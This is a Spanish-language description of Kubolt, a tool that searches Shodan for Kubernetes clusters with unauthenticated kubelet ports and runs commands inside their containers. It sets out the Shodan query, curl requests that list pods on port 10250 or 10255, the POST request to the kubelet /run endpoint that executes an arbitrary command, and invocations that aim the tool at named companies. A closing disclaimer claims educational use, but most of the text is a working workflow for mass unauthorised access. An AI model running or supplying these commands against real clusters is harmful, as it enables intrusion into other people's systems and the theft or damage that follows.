
Utilidad Kubolt para escanear clústeres públicos de Kubernetes
Kubolt es una utilidad simple para escanear clústeres de Kubernetes públicos no autenticados y ejecutar comandos dentro de contenedores
A veces, el puerto 10250 de kubelet está abierto para acceso no autorizado y hace posible ejecutar comandos dentro de los contenedores usando la función getrun de kubelet:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
Bien, preguntémosle a nuestro amigo Shodan :trollface:
La consulta básica es
ssl:true port:10250 404
Kubelet usa el puerto 10250 con SSL por defecto; 404 es la respuesta HTTP sin ruta de URL.
Kubolt le pregunta a Shodan por API para obtener una lista de direcciones IP y las guarda para otras acciones de OSINT 😁
Primero, preguntémosle a Kubelet por los pods en ejecución y filtremos los hosts donde la respuesta no contenga Unauthorized y contenga container para poder ejecutar un comando dentro de él.
curl -k https://IP-de-Shodan:10250/runningpods/
De todas formas, si encuentras un host sin pods en ejecución en ese momento, guárdalo para la próxima vez que los pods puedan iniciarse 😁
Puedes listar todos los pods disponibles a partir de estas solicitudes:
curl -k https://IP-de-Shodan:10250/pods/
#o
curl http://IP-de-Shodan:10255/pods/
Luego kubolt analiza la respuesta y genera una nueva solicitud como la siguiente:
curl -XPOST -k https://IP-de-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<comando-a-ejecutar>"
Puedes apuntar a empresas con mayor precisión usando filtros de Shodan como:
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#o
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt usa la API de Shodan y Créditos de Consulta en consecuencia; si ejecutas la herramienta sin filtros de consulta, probablemente gastarás todos tus créditos ¯\_(ツ)_/¯

La herramienta proporcionada por el autor debe usarse solo con fines educativos. El autor no puede ser considerado responsable por el mal uso de la herramienta. El autor no es responsable de ningún daño directo o indirecto causado por el uso de la herramienta.